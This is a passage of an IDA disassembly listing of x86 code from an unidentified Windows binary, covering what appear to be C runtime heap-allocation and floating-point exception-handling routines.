esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41B9A9 loc_41B998: ; CODE XREF: sub_41B880+127j cmp [ebp+var_4], 10h jge short loc_41B9A9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41B998 loc_41B9A9: ; CODE XREF: sub_41B880+116j ; sub_41B880+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_4231B4 ; VirtualAlloc cmp eax, esi jnz loc_41BA81 push 0 push [ebp+var_8] push esi call sub_417030 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BA10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41B9E6: ; CODE XREF: sub_41B880+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41B9E6 loc_41BA10: ; CODE XREF: sub_41B880+15Ej mov off_43ACC0, edi lea eax, [edi+2018h] loc_41BA1C: ; CODE XREF: sub_41B880+1A8j cmp ecx, eax jnb short loc_41BA2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BA2A add ecx, 8 jmp short loc_41BA1C ; --------------------------------------------------------------------------- loc_41BA2A: ; CODE XREF: sub_41B880+1A3j cmp ecx, eax loc_41BA2C: ; CODE XREF: sub_41B880+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BA83 ; --------------------------------------------------------------------------- loc_41BA4F: ; CODE XREF: sub_41B880+F2j call sub_41B588 test eax, eax jz short loc_41BA81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43ACC0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BA83 ; --------------------------------------------------------------------------- loc_41BA81: ; CODE XREF: sub_41B880+143j ; sub_41B880+1D6j xor eax, eax loc_41BA83: ; CODE XREF: sub_41B880+D6j ; sub_41B880+1CDj ... pop edi pop esi pop ebx leave retn sub_41B880 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA88 proc near ; CODE XREF: sub_41B880+4Ap ; sub_41B880+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BACD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BABC add [ecx], edx sub [ecx+4], edx jmp short loc_41BAC5 ; --------------------------------------------------------------------------- loc_41BABC: ; CODE XREF: sub_41BA88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BAC5: ; CODE XREF: sub_41BA88+32j lea eax, [edi+8] jmp loc_41BB9B ; --------------------------------------------------------------------------- loc_41BACD: ; CODE XREF: sub_41BA88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BAD6 mov eax, esi loc_41BAD6: ; CODE XREF: sub_41BA88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BB20 loc_41BADD: ; CODE XREF: sub_41BA88+96j mov bl, [eax] test bl, bl jnz short loc_41BB13 push 1 lea ebx, [eax+1] pop esi loc_41BAE9: ; CODE XREF: sub_41BA88+68j cmp byte ptr [ebx], 0 jnz short loc_41BAF2 inc ebx inc esi jmp short loc_41BAE9 ; --------------------------------------------------------------------------- loc_41BAF2: ; CODE XREF: sub_41BA88+64j cmp esi, edx jnb short loc_41BB44 cmp eax, [ebp+var_4] jnz short loc_41BB00 mov [ecx+4], esi jmp short loc_41BB0C ; --------------------------------------------------------------------------- loc_41BB00: ; CODE XREF: sub_41BA88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BBA5 loc_41BB0C: ; CODE XREF: sub_41BA88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BB18 ; --------------------------------------------------------------------------- loc_41BB13: ; CODE XREF: sub_41BA88+59j movzx esi, bl add eax, esi loc_41BB18: ; CODE XREF: sub_41BA88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BADD loc_41BB20: ; CODE XREF: sub_41BA88+53j lea esi, [ecx+8] loc_41BB23: ; CODE XREF: sub_41BA88+EBj ; sub_41BA88+F2j cmp esi, edi jnb short loc_41BBA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BBA5 mov al, [esi] test al, al jnz short loc_41BB75 push 1 lea ebx, [esi+1] pop eax loc_41BB3B: ; CODE XREF: sub_41BA88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BB65 inc ebx inc eax jmp short loc_41BB3B ; --------------------------------------------------------------------------- loc_41BB44: ; CODE XREF: sub_41BA88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BB55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BB5E ; --------------------------------------------------------------------------- loc_41BB55: ; CODE XREF: sub_41BA88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BB5E: ; CODE XREF: sub_41BA88+CBj mov [eax], dl add eax, 8 jmp short loc_41BB9B ; --------------------------------------------------------------------------- loc_41BB65: ; CODE XREF: sub_41BA88+B6j cmp eax, edx jnb short loc_41BB7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BBA5 mov esi, ebx jmp short loc_41BB23 ; --------------------------------------------------------------------------- loc_41BB75: ; CODE XREF: sub_41BA88+ABj movzx eax, al add esi, eax jmp short loc_41BB23 ; --------------------------------------------------------------------------- loc_41BB7C: ; CODE XREF: sub_41BA88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BB8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BB96 ; --------------------------------------------------------------------------- loc_41BB8D: ; CODE XREF: sub_41BA88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BB96: ; CODE XREF: sub_41BA88+103j mov [esi], dl lea eax, [esi+8] loc_41BB9B: ; CODE XREF: sub_41BA88+40j ; sub_41BA88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BBA7 ; --------------------------------------------------------------------------- loc_41BBA5: ; CODE XREF: sub_41BA88+7Ej ; sub_41BA88+9Dj ... xor eax, eax loc_41BBA7: ; CODE XREF: sub_41BA88+11Bj pop edi pop esi pop ebx leave retn sub_41BA88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBAC proc near ; CODE XREF: sub_41914F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BBE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BC46 ; --------------------------------------------------------------------------- loc_41BBE6: ; CODE XREF: sub_41BBAC+26j jnb short loc_41BC4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BC4D lea eax, [ecx+edx] loc_41BBFB: ; CODE XREF: sub_41BBAC+59j cmp eax, esi jnb short loc_41BC09 cmp byte ptr [eax], 0 jnz short loc_41BC07 inc eax jmp short loc_41BBFB ; --------------------------------------------------------------------------- loc_41BC07: ; CODE XREF: sub_41BBAC+56j cmp eax, esi loc_41BC09: ; CODE XREF: sub_41BBAC+51j jnz short loc_41BC4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BC41 cmp esi, eax jbe short loc_41BC41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BC38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BC33 loc_41BC2C: ; CODE XREF: sub_41BBAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BC2C loc_41BC33: ; CODE XREF: sub_41BBAC+7Ej mov [ebx+4], eax jmp short loc_41BC41 ; --------------------------------------------------------------------------- loc_41BC38: ; CODE XREF: sub_41BBAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BC41: ; CODE XREF: sub_41BBAC+68j ; sub_41BBAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BC46: ; CODE XREF: sub_41BBAC+38j mov [ebp+var_4], 1 loc_41BC4D: ; CODE XREF: sub_41BBAC:loc_41BBE6j ; sub_41BBAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BBAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BC55(int,int,double,int) sub_41BC55 proc near ; CODE XREF: sub_4179A4+51p ; sub_417AEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43B418, 0 jnz short loc_41BC8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C20A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BC8A: ; CODE XREF: sub_41BC55+Aj push 0FFFFh mov dword_4894AC, 21h push [ebp+arg_C] call sub_41C47D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BC55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BCA8(int,int,double,double,int) sub_41BCA8 proc near ; CODE XREF: sub_4179A4:loc_417A67p ; sub_417AEB:loc_417BAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41BFF3 add esp, 0Ch test eax, eax jnz short loc_41BCE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41BD40 add esp, 18h loc_41BCE6: ; CODE XREF: sub_41BCA8+1Aj push [ebp+arg_0] call sub_41C2DD cmp dword_43B418, 0 pop ecx jnz short loc_41BD24 test eax, eax jz short loc_41BD24 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C20A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41BD24: ; CODE XREF: sub_41BCA8+4Ej ; sub_41BCA8+52j push eax call sub_41C292 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C47D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BCA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD40 proc near ; CODE XREF: sub_41BCA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41BD72 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41BD72: ; CODE XREF: sub_41BD40+23j test cl, 2 jz short loc_41BD85 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41BD85: ; CODE XREF: sub_41BD40+35j test cl, bl jz short loc_41BD97 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41BD97: ; CODE XREF: sub_41BD40+47j test cl, 4 jz short loc_41BDAA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41BDAA: ; CODE XREF: sub_41BD40+5Aj test cl, 8 jz short loc_41BDBD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41BDBD: ; CODE XREF: sub_41BD40+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C460 test al, bl jz short loc_41BE46 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41BE46: ; CODE XREF: sub_41BD40+FDj test al, 4 jz short loc_41BE51 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41BE51: ; CODE XREF: sub_41BD40+108j test al, 8 jz short loc_41BE5C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41BE5C: ; CODE XREF: sub_41BD40+113j test al, 10h jz short loc_41BE66 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41BE66: ; CODE XREF: sub_41BD40+11Ej test al, 20h jz short loc_41BE70 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41BE70: ; CODE XREF: sub_41BD40+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41BEAF cmp eax, 400h jz short loc_41BEA1 cmp eax, 800h jz short loc_41BE95 cmp eax, ecx jnz short loc_41BEB5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41BEB5 ; --------------------------------------------------------------------------- loc_41BE95: ; CODE XREF: sub_41BD40+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41BEAB ; --------------------------------------------------------------------------- loc_41BEA1: ; CODE XREF: sub_41BD40+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41BEAB: ; CODE XREF: sub_41BD40+15Fj mov [eax], ecx jmp short loc_41BEB5 ; --------------------------------------------------------------------------- loc_41BEAF: ; CODE XREF: sub_41BD40+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41BEB5: ; CODE XREF: sub_41BD40+14Bj ; sub_41BD40+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41BEE0 cmp eax, 200h jz short loc_41BED3 cmp eax, ecx jnz short loc_41BEED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41BEED ; --------------------------------------------------------------------------- loc_41BED3: ; CODE XREF: sub_41BD40+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41BEEB ; --------------------------------------------------------------------------- loc_41BEE0: ; CODE XREF: sub_41BD40+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41BEEB: ; CODE XREF: sub_41BD40+19Ej mov [eax], ecx loc_41BEED: ; CODE XREF: sub_41BD40+189j ; sub_41BD40+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C46E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_4231BC ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41BF67 and dword ptr [esi], 0FFFFFFFEh loc_41BF67: ; CODE XREF: sub_41BD40+222j test byte ptr [eax+8], 8 jz short loc_41BF70 and dword ptr [esi], 0FFFFFFFBh loc_41BF70: ; CODE XREF: sub_41BD40+22Bj test byte ptr [eax+8], 4 jz short loc_41BF79 and dword ptr [esi], 0FFFFFFF7h loc_41BF79: ; CODE XREF: sub_41BD40+234j test byte ptr [eax+8], 2 jz short loc_41BF82 and dword ptr [esi], 0FFFFFFEFh loc_41BF82: ; CODE XREF: sub_41BD40+23Dj test [eax+8], bl jz short loc_41BF8A and dword ptr [esi], 0FFFFFFDFh loc_41BF8A: ; CODE XREF: sub_41BD40+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41BFBE dec ecx jz short loc_41BFB2 dec ecx jz short loc_41BFA8 dec ecx jnz short loc_41BFC0 or byte ptr [esi+1], 0Ch jmp short loc_41BFC0 ; --------------------------------------------------------------------------- loc_41BFA8: ; CODE XREF: sub_41BD40+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41BFBA ; --------------------------------------------------------------------------- loc_41BFB2: ; CODE XREF: sub_41BD40+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41BFBA: ; CODE XREF: sub_41BD40+270j mov [esi], ecx jmp short loc_41BFC0 ; --------------------------------------------------------------------------- loc_41BFBE: ; CODE XREF: sub_41BD40+257j and [esi], edx loc_41BFC0: ; CODE XREF: sub_41BD40+260j ; sub_41BD40+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41BFE0 dec ecx jz short loc_41BFD7 dec ecx jnz short loc_41BFE9 and [esi], edx jmp short loc_41BFE9 ; --------------------------------------------------------------------------- loc_41BFD7: ; CODE XREF: sub_41BD40+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41BFE7 ; --------------------------------------------------------------------------- loc_41BFE0: ; CODE XREF: sub_41BD40+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41BFE7: ; CODE XREF: sub_41BD40+29Ej mov [esi], ecx loc_41BFE9: ; CODE XREF: sub_41BD40+291j ; sub_41BD40+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41BD40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFF3 proc near ; CODE XREF: sub_41BCA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C01E test byte ptr [ebp+arg_8], bl jz short loc_41C01E push ebx call sub_41C4A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C01E: ; CODE XREF: sub_41BFF3+15j ; sub_41BFF3+1Aj test al, 4 jz short loc_41C038 test byte ptr [ebp+arg_8], 4 jz short loc_41C038 push 4 call sub_41C4A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C038: ; CODE XREF: sub_41BFF3+2Dj ; sub_41BFF3+33j test al, bl jz loc_41C112 test byte ptr [ebp+arg_8], 8 jz loc_41C112 push 8 call sub_41C4A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C0EA cmp ecx, 400h jz short loc_41C0C2 cmp ecx, 800h jz short loc_41C09A cmp ecx, eax jnz loc_41C10A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_423810 fld dbl_43ADB0 fnstsw ax sahf ja short loc_41C092 fchs loc_41C092: ; CODE XREF: sub_41BFF3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C108 ; --------------------------------------------------------------------------- loc_41C09A: ; CODE XREF: sub_41BFF3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_423810 fnstsw ax sahf jbe short loc_41C0B2 fld dbl_43ADA0 jmp short loc_41C0BA ; --------------------------------------------------------------------------- loc_41C0B2: ; CODE XREF: sub_41BFF3+B5j fld dbl_43ADB0 fchs loc_41C0BA: ; CODE XREF: sub_41BFF3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C108 ; --------------------------------------------------------------------------- loc_41C0C2: ; CODE XREF: sub_41BFF3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_423810 fnstsw ax sahf jbe short loc_41C0DA fld dbl_43ADB0 jmp short loc_41C0E2 ; --------------------------------------------------------------------------- loc_41C0DA: ; CODE XREF: sub_41BFF3+DDj fld dbl_43ADA0 fchs loc_41C0E2: ; CODE XREF: sub_41BFF3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C108 ; --------------------------------------------------------------------------- loc_41C0EA: ; CODE XREF: sub_41BFF3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_423810 fld dbl_43ADA0 fnstsw ax sahf ja short loc_41C102 fchs loc_41C102: ; CODE XREF: sub_41BFF3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C108: ; CODE XREF: sub_41BFF3+A5j ; sub_41BFF3+CDj ... fstp qword ptr [ecx] loc_41C10A: ; CODE XREF: sub_41BFF3+81j and edi, 0FFFFFFFEh jmp loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C112: ; CODE XREF: sub_41BFF3+47j ; sub_41BFF3+51j test al, 2 jz loc_41C1E8 test byte ptr [ebp+arg_8], 10h jz loc_41C1E8 push esi xor esi, esi test al, 10h jz short loc_41C12D mov esi, ebx loc_41C12D: ; CODE XREF: sub_41BFF3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_423810 fnstsw ax sahf jz loc_41C1D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C39F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C178 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C1CC ; --------------------------------------------------------------------------- loc_41C178: ; CODE XREF: sub_41BFF3+17Aj fld [ebp+var_C] fcomp dbl_423810 fnstsw ax sahf jnb short loc_41C18A mov edx, ebx jmp short loc_41C18C ; --------------------------------------------------------------------------- loc_41C18A: ; CODE XREF: sub_41BFF3+191j xor edx, edx loc_41C18C: ; CODE XREF: sub_41BFF3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C1C0 sub eax, ecx loc_41C1A3: ; CODE XREF: sub_41BFF3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C1AE test esi, esi jnz short loc_41C1AE mov esi, ebx loc_41C1AE: ; CODE XREF: sub_41BFF3+1B3j ; sub_41BFF3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C1BA or byte ptr [ebp+var_C+3], 80h loc_41C1BA: ; CODE XREF: sub_41BFF3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C1A3 loc_41C1C0: ; CODE XREF: sub_41BFF3+1ACj test edx, edx jz short loc_41C1CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C1CC: ; CODE XREF: sub_41BFF3+183j ; sub_41BFF3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C1D8 ; --------------------------------------------------------------------------- loc_41C1D6: ; CODE XREF: sub_41BFF3+14Ej mov esi, ebx loc_41C1D8: ; CODE XREF: sub_41BFF3+1E1j test esi, esi pop esi jz short loc_41C1E5 push 10h call sub_41C4A0 pop ecx loc_41C1E5: ; CODE XREF: sub_41BFF3+1E8j and edi, 0FFFFFFFDh loc_41C1E8: ; CODE XREF: sub_41BFF3+26j ; sub_41BFF3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C1FF test byte ptr [ebp+arg_8], 20h jz short loc_41C1FF push 20h call sub_41C4A0 pop ecx and edi, 0FFFFFFEFh loc_41C1FF: ; CODE XREF: sub_41BFF3+1F9j ; sub_41BFF3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41BFF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C20A(int,int,int,int,int,int,double,int) sub_41C20A proc near ; CODE XREF: sub_41BC55+2Bp ; sub_41BCA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C2B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C275 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C47D lea eax, [ebp+var_20] push eax call sub_41FEAB add esp, 0Ch test eax, eax jnz short loc_41C26F push esi call sub_41C292 pop ecx loc_41C26F: ; CODE XREF: sub_41C20A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C275: ; CODE XREF: sub_41C20A+14j push 0FFFFh push [ebp+arg_20] call sub_41C47D push [ebp+arg_0] call sub_41C292 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C20A endp ; =============== S U B R O U T I N E ======================================= sub_41C292 proc near ; CODE XREF: sub_41BCA8+7Dp ; sub_41C20A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C2AD jle short locret_41C2B7 cmp eax, 3 jg short locret_41C2B7 mov dword_4894AC, 22h retn ; --------------------------------------------------------------------------- loc_41C2AD: ; CODE XREF: sub_41C292+7j mov dword_4894AC, 21h locret_41C2B7: ; CODE XREF: sub_41C292+9j ; sub_41C292+Ej retn sub_41C292 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: sub_41C20A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43ACC8 loc_41C2BF: ; CODE XREF: sub_41C2B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C2D5 add eax, 8 inc ecx cmp eax, offset dbl_43ADA0 jl short loc_41C2BF xor eax, eax retn ; --------------------------------------------------------------------------- 